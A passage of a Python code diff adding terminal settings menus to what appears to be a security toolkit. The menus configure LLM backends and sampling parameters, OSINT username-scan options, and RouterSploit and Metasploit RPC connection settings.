self.print_status("Unrecognized model format. Expected .gguf file or model directory with .safetensors", "error") + elif self._is_huggingface_id(path): + # HuggingFace model ID (e.g., 'org/model-name') + self.config.set('transformers', 'model_path', path) + self.config.set('autarch', 'llm_backend', 'transformers') + self.config.save() + self.print_status(f"HuggingFace model ID set: {path}", "success") + print(f" {Colors.DIM}Model will be loaded from HuggingFace cache{Colors.RESET}") + # Reset LLM instance to use new backend + from .llm import reset_llm + reset_llm() + else: + self.print_status("Path not found. Check the path and try again.", "error") + except (EOFError, KeyboardInterrupt): + print() + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _is_huggingface_id(self, path: str) -> bool: + """Check if the path looks like a HuggingFace model ID. + + Args: + path: The path/ID to check + + Returns: + True if it looks like a HuggingFace model ID (org/model-name) + """ + if not path: + return False + if path.startswith('/') or path.startswith('\\'): + return False + parts = path.split('/') + if len(parts) == 2 and all(p and not p.startswith('.') for p in parts): + return True + return False + + def _resolve_model_path(self, path: str) -> str: + """Resolve a model path, trying multiple variations. + + Args: + path: User-provided path (may be relative or have variations) + + Returns: + Resolved absolute path if found, None otherwise + """ + framework_dir = self._app_dir + + # List of paths to try + paths_to_try = [ + Path(path), # As-is + Path(path).expanduser(), # Expand ~ + framework_dir / path.lstrip('/'), # Relative to framework dir + framework_dir / path, # Relative without stripping / + ] + + # Handle /dh_framework/... pattern (missing /home/user prefix) + if path.startswith('/dh_framework'): + paths_to_try.append(framework_dir / path[len('/dh_framework/'):]) + if path.startswith('dh_framework'): + paths_to_try.append(framework_dir / path[len('dh_framework/'):]) + + # Also try models/ subdirectory + model_name = Path(path).name + paths_to_try.append(framework_dir / 'models' / model_name) + + for p in paths_to_try: + try: + if p.exists(): + return str(p.resolve()) + except (PermissionError, OSError): + continue + + return None + + def _set_llm_context_size(self): + """Set LLM context size.""" + print() + current = self.config.get_int('llama', 'n_ctx', 4096) + print(f" {Colors.DIM}Current: {current} tokens{Colors.RESET}") + print(f" {Colors.DIM}Common values: 2048, 4096, 8192, 16384, 32768{Colors.RESET}") + print() + + try: + n_ctx = input(f" {Colors.WHITE}Context size [{current}]: {Colors.RESET}").strip() + if n_ctx: + n_ctx = int(n_ctx) + if 512 <= n_ctx <= 131072: + self.config.set('llama', 'n_ctx', str(n_ctx)) + self.config.save() + self.print_status(f"Context size set to {n_ctx}", "success") + else: + self.print_status("Value must be between 512 and 131072", "error") + except ValueError: + self.print_status("Invalid number", "error") + except (EOFError, KeyboardInterrupt): + print() + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _set_llm_threads(self): + """Set LLM CPU threads.""" + print() + current = self.config.get_int('llama', 'n_threads', 4) + cpu_count = os.cpu_count() or 4 + print(f" {Colors.DIM}Current: {current} threads{Colors.RESET}") + print(f" {Colors.DIM}Your system has {cpu_count} CPU cores{Colors.RESET}") + print() + + try: + threads = input(f" {Colors.WHITE}Threads [{current}]: {Colors.RESET}").strip() + if threads: + threads = int(threads) + if 1 <= threads <= 256: + self.config.set('llama', 'n_threads', str(threads)) + self.config.save() + self.print_status(f"Threads set to {threads}", "success") + else: + self.print_status("Value must be between 1 and 256", "error") + except ValueError: + self.print_status("Invalid number", "error") + except (EOFError, KeyboardInterrupt): + print() + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _set_llm_gpu_layers(self): + """Set LLM GPU layers.""" + print() + current = self.config.get_int('llama', 'n_gpu_layers', 0) + print(f" {Colors.DIM}Current: {current} layers{Colors.RESET}") + print(f" {Colors.DIM}Set to 0 for CPU only, higher for GPU acceleration{Colors.RESET}") + print(f" {Colors.DIM}Use -1 to offload all layers to GPU{Colors.RESET}") + print() + + try: + layers = input(f" {Colors.WHITE}GPU layers [{current}]: {Colors.RESET}").strip() + if layers: + layers = int(layers) + if layers >= -1: + self.config.set('llama', 'n_gpu_layers', str(layers)) + self.config.save() + self.print_status(f"GPU layers set to {layers}", "success") + else: + self.print_status("Value must be -1 or higher", "error") + except ValueError: + self.print_status("Invalid number", "error") + except (EOFError, KeyboardInterrupt): + print() + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _get_llm_config_section(self): + """Get the config section name for the current LLM backend.""" + backend = self.config.get('autarch', 'llm_backend', 'local') + return {'transformers': 'transformers', 'claude': 'claude', 'huggingface': 'huggingface'}.get(backend, 'llama') + + def _set_llm_temperature(self): + """Set LLM temperature.""" + print() + backend = self.config.get('autarch', 'llm_backend', 'local') + section = self._get_llm_config_section() + current = self.config.get_float(section, 'temperature', 0.7) + print(f" {Colors.DIM}Current: {current}{Colors.RESET}") + print(f" {Colors.DIM}Lower = more focused, Higher = more creative{Colors.RESET}") + print(f" {Colors.DIM}Typical range: 0.1 - 1.5{Colors.RESET}") + print() + + try: + temp = input(f" {Colors.WHITE}Temperature [{current}]: {Colors.RESET}").strip() + if temp: + temp = float(temp) + if 0.0 <= temp <= 2.0: + self.config.set(section, 'temperature', str(temp)) + self.config.save() + self.print_status(f"Temperature set to {temp}", "success") + else: + self.print_status("Value must be between 0.0 and 2.0", "error") + except ValueError: + self.print_status("Invalid number", "error") + except (EOFError, KeyboardInterrupt): + print() + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _set_llm_sampling(self): + """Set LLM Top P and Top K sampling parameters.""" + print() + backend = self.config.get('autarch', 'llm_backend', 'local') + section = self._get_llm_config_section() + current_p = self.config.get_float(section, 'top_p', 0.9) + current_k = self.config.get_int(section, 'top_k', 40) + print(f" {Colors.DIM}Current Top P: {current_p} (nucleus sampling){Colors.RESET}") + print(f" {Colors.DIM}Current Top K: {current_k}{Colors.RESET}") + print() + + try: + # Top P + top_p = input(f" {Colors.WHITE}Top P (0.0-1.0) [{current_p}]: {Colors.RESET}").strip() + if top_p: + top_p = float(top_p) + if 0.0 <= top_p <= 1.0: + self.config.set(section, 'top_p', str(top_p)) + self.config.save() + self.print_status(f"Top P set to {top_p}", "success") + else: + self.print_status("Top P must be between 0.0 and 1.0", "error") + + # Top K + top_k = input(f" {Colors.WHITE}Top K (0-1000) [{current_k}]: {Colors.RESET}").strip() + if top_k: + top_k = int(top_k) + if 0 <= top_k <= 1000: + self.config.set(section, 'top_k', str(top_k)) + self.config.save() + self.print_status(f"Top K set to {top_k}", "success") + else: + self.print_status("Top K must be between 0 and 1000", "error") + + except ValueError: + self.print_status("Invalid number", "error") + except (EOFError, KeyboardInterrupt): + print() + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _set_llm_repeat_penalty(self): + """Set LLM repeat penalty.""" + print() + backend = self.config.get('autarch', 'llm_backend', 'local') + section = self._get_llm_config_section() + if backend == 'transformers': + key = 'repetition_penalty' + elif backend in ('claude', 'huggingface'): + # These backends don't have repeat_penalty + self.print_status("Repeat penalty not applicable for this backend", "info") + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + return + else: + key = 'repeat_penalty' + current = self.config.get_float(section, key, 1.1) + print(f" {Colors.DIM}Current: {current}{Colors.RESET}") + print(f" {Colors.DIM}1.0 = no penalty, higher = less repetition{Colors.RESET}") + print() + + try: + penalty = input(f" {Colors.WHITE}Repeat penalty [{current}]: {Colors.RESET}").strip() + if penalty: + penalty = float(penalty) + if 0.0 <= penalty <= 2.0: + self.config.set(section, key, str(penalty)) + self.config.save() + self.print_status(f"Repeat penalty set to {penalty}", "success") + else: + self.print_status("Value must be between 0.0 and 2.0", "error") + except ValueError: + self.print_status("Invalid number", "error") + except (EOFError, KeyboardInterrupt): + print() + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _set_llm_max_tokens(self): + """Set LLM max tokens per response.""" + print() + backend = self.config.get('autarch', 'llm_backend', 'local') + section = self._get_llm_config_section() + current = self.config.get_int(section, 'max_tokens', 2048) + print(f" {Colors.DIM}Current: {current} tokens{Colors.RESET}") + print(f" {Colors.DIM}Maximum tokens generated per response{Colors.RESET}") + print() + + try: + tokens = input(f" {Colors.WHITE}Max tokens [{current}]: {Colors.RESET}").strip() + if tokens: + tokens = int(tokens) + if 1 <= tokens <= 32768: + self.config.set(section, 'max_tokens', str(tokens)) + self.config.save() + self.print_status(f"Max tokens set to {tokens}", "success") + else: + self.print_status("Value must be between 1 and 32768", "error") + except ValueError: + self.print_status("Invalid number", "error") + except (EOFError, KeyboardInterrupt): + print() + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _load_llm_model(self): + """Load or reload the LLM model.""" + from .llm import get_llm, LLMError + + print() + backend = self.config.get('autarch', 'llm_backend', 'local') + + if backend == 'transformers': + model_path = self.config.get('transformers', 'model_path', '') + is_valid = model_path and os.path.isdir(model_path) + elif backend == 'claude': + model_path = self.config.get('claude', 'model', '') + is_valid = bool(model_path) # Just needs model name + elif backend == 'huggingface': + model_path = self.config.get('huggingface', 'model', '') + is_valid = bool(model_path) # Just needs model ID + else: + model_path = self.config.get('llama', 'model_path', '') + is_valid = model_path and os.path.isfile(model_path) + + if not model_path: + self.print_status("No model path configured. Set model path first.", "error") + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + return + + if not is_valid: + self.print_status(f"Model not found: {model_path}", "error") + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + return + + self.print_status(f"Loading model ({backend})...", "info") + print(f" {Colors.DIM}This may take a moment...{Colors.RESET}") + print() + + try: + llm = get_llm() + if llm.is_loaded: + llm.unload_model() + llm.load_model(verbose=True) + self.print_status("Model loaded successfully", "success") + except LLMError as e: + self.print_status(f"Failed to load model: {e}", "error") + except Exception as e: + self.print_status(f"Error: {e}", "error") + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _set_transformers_device(self): + """Set transformers device (cuda/cpu/mps/auto).""" + print() + current = self.config.get('transformers', 'device', 'auto') + print(f" {Colors.DIM}Current: {current}{Colors.RESET}") + print(f" {Colors.DIM}Options: auto, cuda, cpu, mps{Colors.RESET}") + print() + + try: + device = input(f" {Colors.WHITE}Device [{current}]: {Colors.RESET}").strip() + if device: + if device in ['auto', 'cuda', 'cpu', 'mps']: + self.config.set('transformers', 'device', device) + self.config.save() + self.print_status(f"Device set to {device}", "success") + else: + self.print_status("Invalid device. Use: auto, cuda, cpu, or mps", "error") + except (EOFError, KeyboardInterrupt): + print() + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _set_transformers_quantization(self): + """Set transformers quantization settings.""" + print() + load_8bit = self.config.get_bool('transformers', 'load_in_8bit', False) + load_4bit = self.config.get_bool('transformers', 'load_in_4bit', False) + + if load_4bit: + current = "4-bit" + elif load_8bit: + current = "8-bit" + else: + current = "None (full precision)" + + print(f" {Colors.DIM}Current: {current}{Colors.RESET}") + print(f" {Colors.DIM}Quantization reduces memory but may affect quality{Colors.RESET}") + print(f" {Colors.DIM}Requires bitsandbytes package for 8-bit/4-bit{Colors.RESET}") + print() + print(f" {Colors.GREEN}[1]{Colors.RESET} No quantization (full precision)") + print(f" {Colors.GREEN}[2]{Colors.RESET} 8-bit quantization") + print(f" {Colors.GREEN}[3]{Colors.RESET} 4-bit quantization") + print() + + try: + choice = input(f" {Colors.WHITE}Select: {Colors.RESET}").strip() + if choice == "1": + self.config.set('transformers', 'load_in_8bit', 'false') + self.config.set('transformers', 'load_in_4bit', 'false') + self.config.save() + self.print_status("Quantization disabled", "success") + elif choice == "2": + self.config.set('transformers', 'load_in_8bit', 'true') + self.config.set('transformers', 'load_in_4bit', 'false') + self.config.save() + self.print_status("8-bit quantization enabled", "success") + elif choice == "3": + self.config.set('transformers', 'load_in_8bit', 'false') + self.config.set('transformers', 'load_in_4bit', 'true') + self.config.save() + self.print_status("4-bit quantization enabled", "success") + except (EOFError, KeyboardInterrupt): + print() + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _switch_llm_backend(self): + """Switch between LLM backends.""" + from .llm import reset_llm + + print() + current = self.config.get('autarch', 'llm_backend', 'local') + print(f" {Colors.DIM}Current backend: {current}{Colors.RESET}") + print() + print(f" {Colors.GREEN}[1]{Colors.RESET} llama.cpp (GGUF models)") + print(f" {Colors.GREEN}[2]{Colors.RESET} transformers (SafeTensors / PyTorch)") + print(f" {Colors.GREEN}[3]{Colors.RESET} Claude API") + print(f" {Colors.GREEN}[4]{Colors.RESET} HuggingFace Inference API") + print() + + try: + choice = input(f" {Colors.WHITE}Select backend: {Colors.RESET}").strip() + new_backend = None + if choice == "1": + new_backend = "local" + elif choice == "2": + new_backend = "transformers" + elif choice == "3": + new_backend = "claude" + elif choice == "4": + new_backend = "huggingface" + + if new_backend and new_backend != current: + self.config.set('autarch', 'llm_backend', new_backend) + self.config.save() + reset_llm() # Reset to pick up new backend + self.print_status(f"Backend switched to {new_backend}", "success") + except (EOFError, KeyboardInterrupt): + print() + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _load_hardware_template(self): + """Load a hardware-specific configuration template.""" + print() + print(f" {Colors.BOLD}{Colors.WHITE}Hardware Configuration Templates{Colors.RESET}") + print(f" {Colors.DIM}Select a template optimized for your hardware{Colors.RESET}") + print() + + templates = self.config.list_hardware_templates() + for i, (template_id, name, description, _) in enumerate(templates, 1): + is_experimental = 'EXPERIMENTAL' in description + color = Colors.YELLOW if is_experimental else Colors.GREEN + print(f" {color}[{i}]{Colors.RESET} {name}") + print(f" {Colors.DIM}{description}{Colors.RESET}") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Cancel") + print() + + try: + choice = input(f" {Colors.WHITE}Select template: {Colors.RESET}").strip() + if choice and choice != "0": + try: + index = int(choice) - 1 + if 0 <= index < len(templates): + template_id = templates[index][0] + template_name = templates[index][1] + + # Confirm experimental templates + if 'EXPERIMENTAL' in templates[index][2]: + print() + print(f" {Colors.YELLOW}WARNING: This template is experimental!{Colors.RESET}") + confirm = input(f" {Colors.WHITE}Continue? (y/n): {Colors.RESET}").strip().lower() + if confirm != 'y': + self.print_status("Cancelled", "info") + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + return + + if self.config.load_template(template_id): + self.print_status(f"Loaded template: {template_name}", "success") + print(f" {Colors.DIM}Note: Model path preserved from current config{Colors.RESET}") + else: + self.print_status("Failed to load template", "error") + else: + self.print_status("Invalid selection", "error") + except ValueError: + self.print_status("Invalid selection", "error") + except (EOFError, KeyboardInterrupt): + print() + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _load_custom_config(self): + """Load a user-saved custom configuration.""" + print() + print(f" {Colors.BOLD}{Colors.WHITE}Custom Configurations{Colors.RESET}") + print() + + custom_configs = self.config.list_custom_configs() + + if not custom_configs: + print(f" {Colors.YELLOW}No custom configurations found.{Colors.RESET}") + print(f" {Colors.DIM}Use [W] Save Current as Custom Config to create one.{Colors.RESET}") + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + return + + for i, (name, filepath) in enumerate(custom_configs, 1): + print(f" {Colors.GREEN}[{i}]{Colors.RESET} {name}") + print(f" {Colors.DIM}{filepath.name}{Colors.RESET}") + print() + print(f" {Colors.RED}[D]{Colors.RESET} Delete a custom config") + print(f" {Colors.DIM}[0]{Colors.RESET} Cancel") + print() + + try: + choice = input(f" {Colors.WHITE}Select config: {Colors.RESET}").strip().lower() + if choice == "d": + self._delete_custom_config(custom_configs) + elif choice and choice != "0": + try: + index = int(choice) - 1 + if 0 <= index < len(custom_configs): + name, filepath = custom_configs[index] + if self.config.load_custom_config(filepath): + self.print_status(f"Loaded config: {name}", "success") + print(f" {Colors.DIM}Note: Model path preserved from current config{Colors.RESET}") + else: + self.print_status("Failed to load config", "error") + else: + self.print_status("Invalid selection", "error") + except ValueError: + self.print_status("Invalid selection", "error") + except (EOFError, KeyboardInterrupt): + print() + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _delete_custom_config(self, custom_configs: list): + """Delete a custom configuration file.""" + print() + print(f" {Colors.RED}Delete Custom Configuration{Colors.RESET}") + print() + + for i, (name, filepath) in enumerate(custom_configs, 1): + print(f" {Colors.RED}[{i}]{Colors.RESET} {name}") + + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Cancel") + print() + + try: + choice = input(f" {Colors.WHITE}Select config to delete: {Colors.RESET}").strip() + if choice and choice != "0": + try: + index = int(choice) - 1 + if 0 <= index < len(custom_configs): + name, filepath = custom_configs[index] + confirm = input(f" {Colors.WHITE}Delete '{name}'? (y/n): {Colors.RESET}").strip().lower() + if confirm == 'y': + if self.config.delete_custom_config(filepath): + self.print_status(f"Deleted: {name}", "success") + else: + self.print_status("Failed to delete config", "error") + else: + self.print_status("Cancelled", "info") + else: + self.print_status("Invalid selection", "error") + except ValueError: + self.print_status("Invalid selection", "error") + except (EOFError, KeyboardInterrupt): + print() + + def _save_custom_config(self): + """Save current LLM settings as a custom configuration.""" + print() + print(f" {Colors.BOLD}{Colors.WHITE}Save Custom Configuration{Colors.RESET}") + print(f" {Colors.DIM}Save your current LLM settings for later use{Colors.RESET}") + print() + + try: + name = input(f" {Colors.WHITE}Configuration name: {Colors.RESET}").strip() + if name: + filepath = self.config.save_custom_config(name) + self.print_status(f"Saved to: {filepath.name}", "success") + print(f" {Colors.DIM}Full path: {filepath}{Colors.RESET}") + else: + self.print_status("No name provided, cancelled", "info") + except (EOFError, KeyboardInterrupt): + print() + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _unload_llm_model(self): + """Unload the current LLM model.""" + from .llm import get_llm + + print() + llm = get_llm() + + if not llm.is_loaded: + self.print_status("No model currently loaded", "info") + else: + llm.unload_model() + self.print_status("Model unloaded", "success") + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def show_osint_settings(self): + """Display and configure OSINT settings.""" + while True: + clear_screen() + self._show_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} OSINT Settings{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + settings = self.config.get_osint_settings() + + print(f" {Colors.CYAN}Max Threads:{Colors.RESET} {settings['max_threads']}") + print(f" {Colors.CYAN}Timeout:{Colors.RESET} {settings['timeout']} seconds") + print(f" {Colors.CYAN}Include NSFW:{Colors.RESET} {'Yes' if settings['include_nsfw'] else 'No'}") + print() + + print(f" {Colors.DIM}Thread setting controls parallel requests during{Colors.RESET}") + print(f" {Colors.DIM}username scanning. Lower values = slower but safer.{Colors.RESET}") + print() + + print(f" {Colors.CYAN}[1]{Colors.RESET} Set Max Threads") + print(f" {Colors.CYAN}[2]{Colors.RESET} Set Timeout") + print(f" {Colors.CYAN}[3]{Colors.RESET} Toggle NSFW Sites") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == "0" or not choice: + break + elif choice == "1": + self._set_osint_threads() + elif choice == "2": + self._set_osint_timeout() + elif choice == "3": + self._toggle_osint_nsfw() + + except (EOFError, KeyboardInterrupt): + break + + def _set_osint_threads(self): + """Set OSINT max threads.""" + print() + current = self.config.get_int('osint', 'max_threads', 8) + print(f" {Colors.DIM}Current: {current} threads{Colors.RESET}") + print(f" {Colors.DIM}Recommended: 4-16 depending on your system{Colors.RESET}") + print() + + try: + threads = input(f" {Colors.WHITE}Max threads (1-100) [{current}]: {Colors.RESET}").strip() + + if threads: + threads = int(threads) + if 1 <= threads <= 100: + self.config.set('osint', 'max_threads', str(threads)) + self.config.save() + self.print_status(f"Max threads set to {threads}", "success") + else: + self.print_status("Value must be between 1 and 100", "error") + + except ValueError: + self.print_status("Invalid number", "error") + except (EOFError, KeyboardInterrupt): + print() + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _set_osint_timeout(self): + """Set OSINT timeout.""" + print() + current = self.config.get_int('osint', 'timeout', 8) + print(f" {Colors.DIM}Current: {current} seconds{Colors.RESET}") + print() + + try: + timeout = input(f" {Colors.WHITE}Timeout in seconds (1-60) [{current}]: {Colors.RESET}").strip() + + if timeout: + timeout = int(timeout) + if 1 <= timeout <= 60: + self.config.set('osint', 'timeout', str(timeout)) + self.config.save() + self.print_status(f"Timeout set to {timeout} seconds", "success") + else: + self.print_status("Value must be between 1 and 60", "error") + + except ValueError: + self.print_status("Invalid number", "error") + except (EOFError, KeyboardInterrupt): + print() + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _toggle_osint_nsfw(self): + """Toggle OSINT NSFW sites inclusion.""" + current = self.config.get_bool('osint', 'include_nsfw', False) + new_value = not current + self.config.set('osint', 'include_nsfw', str(new_value).lower()) + self.config.save() + self.print_status(f"NSFW sites {'enabled' if new_value else 'disabled'}", "success") + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def show_rsf_settings(self): + """Display and configure RouterSploit settings.""" + from .rsf import get_rsf_manager + + rsf = get_rsf_manager() + + while True: + clear_screen() + self._show_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} RouterSploit Configuration{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + settings = self.config.get_rsf_settings() + + print(f" {Colors.CYAN}Install Path:{Colors.RESET} {settings['install_path']}") + + # Status + if rsf.is_available: + count = rsf.get_module_count() + print(f" {Colors.CYAN}Status:{Colors.RESET} {Colors.GREEN}Available ({count} modules){Colors.RESET}") + else: + print(f" {Colors.CYAN}Status:{Colors.RESET} {Colors.YELLOW}Not Found{Colors.RESET}") + + default_target = settings['default_target'] or '(not set)' + print(f" {Colors.CYAN}Default Target:{Colors.RESET} {default_target}") + print(f" {Colors.CYAN}Timeout:{Colors.RESET} {settings['execution_timeout']}s") + print() + + print(f" {Colors.CYAN}[1]{Colors.RESET} Set Install Path") + print(f" {Colors.CYAN}[2]{Colors.RESET} Set Default Target") + print(f" {Colors.CYAN}[3]{Colors.RESET} Set Timeout") + print(f" {Colors.CYAN}[4]{Colors.RESET} Test Installation") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == "0" or not choice: + break + elif choice == "1": + print() + current = settings['install_path'] + print(f" {Colors.DIM}Current: {current}{Colors.RESET}") + path = input(f" {Colors.WHITE}Install path: {Colors.RESET}").strip() + if path: + import os + path = os.path.expanduser(path) + if os.path.isdir(path): + self.config.set('rsf', 'install_path', path) + self.config.save() + rsf.reset_cache() + self.print_status(f"Install path set to: {path}", "success") + else: + self.print_status(f"Directory not found: {path}", "error") + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + elif choice == "2": + print() + current = settings['default_target'] + prompt = f"Default target [{current}]: " if current else "Default target: " + target = input(f" {Colors.WHITE}{prompt}{Colors.RESET}").strip() + if target: + self.config.set('rsf', 'default_target', target) + self.config.save() + self.print_status(f"Default target set to: {target}", "success") + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + elif choice == "3": + print() + current = settings['execution_timeout'] + timeout_str = input(f" {Colors.WHITE}Timeout in seconds [{current}]: {Colors.RESET}").strip() + if timeout_str: + try: + timeout = int(timeout_str) + if 10 <= timeout <= 600: + self.config.set('rsf', 'execution_timeout', str(timeout)) + self.config.save() + self.print_status(f"Timeout set to {timeout}s", "success") + else: + self.print_status("Timeout must be between 10 and 600 seconds", "error") + except ValueError: + self.print_status("Invalid number", "error") + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + elif choice == "4": + print() + self.print_status("Testing RouterSploit installation...", "info") + rsf.reset_cache() + if rsf.is_available: + count = rsf.get_module_count() + self.print_status(f"RouterSploit is available! ({count} modules indexed)", "success") + else: + self.print_status("RouterSploit not found at configured path", "error") + print(f" {Colors.DIM}Path: {settings['install_path']}{Colors.RESET}") + print(f" {Colors.DIM}Make sure routersploit package is at this location{Colors.RESET}") + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + except (EOFError, KeyboardInterrupt): + break + + def show_msf_settings(self): + """Display and configure Metasploit settings.""" + from .msf import get_msf_manager, MSFError + + msf = get_msf_manager() + settings = msf.get_settings() + + while True: + clear_screen() + self._show_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} Metasploit Configuration{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + # Current settings + print(f" {Colors.CYAN}Host:{Colors.RESET} {settings['host']}") + print(f" {Colors.CYAN}Port:{Colors.RESET} {settings['port']}") + print(f" {Colors.CYAN}Username:{Colors.RESET} {settings['username']}") + print(f" {Colors.CYAN}Password:{Colors.RESET} {'*' * len(settings['password']) if settings['password'] else '(not set)'}") + print(f" {Colors.CYAN}SSL:{Colors.RESET} {settings['ssl']}") + print(f" {Colors.CYAN}Autoconnect:{Colors.RESET} {Colors.GREEN if settings.get('autoconnect', True) else Colors.YELLOW}{'Enabled' if settings.get('autoconnect', True) else 'Disabled'}{Colors.RESET}") + print() + + # Server status + is_running, pid = msf.detect_server() + if is_running: + print(f" {Colors.GREEN}Server: Running{Colors.RESET}", end="") + if pid: + print(f" (PID: {pid})") + else: + print() + else: + print(f" {Colors.YELLOW}Server: Not Running{Colors.RESET}") + + # Connection status + if msf.is_connected: + print(f" {Colors.GREEN}Client: Connected{Colors.RESET}") + try: + version = msf.rpc.get_version() + print(f" {Colors.DIM}Version: {version.get('version', 'Unknown')}{Colors.RESET}") + except: + pass + else: + print(f" {Colors.YELLOW}Client: Disconnected{Colors.RESET}") + + print() + print(f" {Colors.CYAN}[1]{Colors.RESET} Configure Connection") + print(f" {Colors.CYAN}[2]{Colors.RESET} Test Connection") + print(f" {Colors.CYAN}[3]{Colors.RESET} Disconnect") + print() + print(f" {Colors.CYAN}[4]{Colors.RESET} Start Server") + print(f" {Colors.CYAN}[5]{Colors.RESET} Stop Server") + print(f" {Colors.CYAN}[6]{Colors.RESET} Toggle Autoconnect") + use_sudo = self.config.get_bool('msf', 'use_sudo', fallback=True) + print(f" {Colors.CYAN}[7]{Colors.RESET} Toggle Sudo {Colors.DIM}(currently: {'on' if use_sudo else 'off'}){Colors.RESET}") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == "0" or not choice: + break + elif choice == "1": + self.configure_msf() + settings = msf.get_settings() + elif choice == "2": + print() + # Refresh settings before attempting connection + settings = msf.get_settings() + self.print_status("Testing connection...", "info") + try: + if not settings['password']: + password = input(f" {Colors.WHITE}Enter MSF RPC password: {Colors.RESET}").strip() + else: + password = settings['password'] + msf.connect(password) + self.print_status("Connected successfully!", "success") + version = msf.rpc.get_version() + print(f" {Colors.DIM}Metasploit {version.get('version', 'Unknown')}{Colors.RESET}") + except MSFError as e: + self.print_status(f"Connection failed: {e}", "error") + if "Authentication failed" in str(e): + print(f" {Colors.DIM}The server may be running with different credentials.{Colors.RESET}") + print(f" {Colors.DIM}Try: [5] Stop Server, then [4] Start Server{Colors.RESET}") + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + elif choice == "3": + msf.disconnect() + self.print_status("Disconnected", "info") + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + elif choice == "4": + # Start server + print() + if is_running: + self.print_status("Server is already running", "warning") + else: + if not settings['password']: + password = input(f" {Colors.WHITE}Enter MSF RPC password: {Colors.RESET}").strip() + if password: + msf.save_settings( + settings['host'], settings['port'], + settings['username'], password, settings['ssl'] + ) + settings = msf.get_settings() + else: + password = settings['password'] + + if password: + self.print_status("Starting server...", "info") + if msf.start_server( + settings['username'], password, + settings['host'], settings['port'], settings['ssl'] + ): + self.print_status("Server started successfully", "success") + else: + self.print_status("Failed to start server", "error") + else: + self.print_status("Password required to start server", "error") + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + elif choice == "5": + # Stop server + print() + if not is_running: + self.print_status("Server is not running", "warning") + else: + self.print_status("Stopping server...", "info") + if msf.kill_server(): + self.print_status("Server stopped", "success") + else: + self.print_status("Failed to stop server", "error") + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + elif choice == "6": + # Toggle autoconnect + new_value = not settings.get('autoconnect', True) + msf.set_autoconnect(new_value) + settings = msf.get_settings() + self.print_status(f"Autoconnect {'enabled' if new_value else 'disabled'}", "success") + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + elif choice == "7": + # Toggle sudo for MSF server start + use_sudo = self.config.get_bool('msf', 'use_sudo', fallback=True) + new_value = not use_sudo + self.config.set('msf', 'use_sudo', str(new_value).lower()) + self.config.save() + if new_value: + self.print_status("Sudo enabled — msfrpcd runs as root (full module support)", "success") + else: + self.print_status("Sudo disabled — msfrpcd runs as current user (some modules limited)", "warning") + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + except (EOFError, KeyboardInterrupt): + break + + def configure_msf(self): + """Configure Metasploit connection settings.""" + from .msf import get_msf_manager + + msf = get_msf_manager() + settings = msf.get_settings() + + clear_screen() + self._show_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} Configure Metasploit RPC{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print(f"\n {Colors.DIM}Press Enter to keep current value{Colors.RESET}\n") + + try: + host = input(f" Host [{settings['host']}]: ").strip() or settings['host'] + port_str = input(f" Port [{settings['port']}]: ").strip() + port = int(port_str) if port_str else settings['port'] + username = input(f" Username [{settings['username']}]: ").strip() or settings['username'] + password = input(f" Password: ").strip() or settings['password'] + ssl_str = input(f" Use SSL (y/n) [{'y' if settings['ssl'] else 'n'}]: 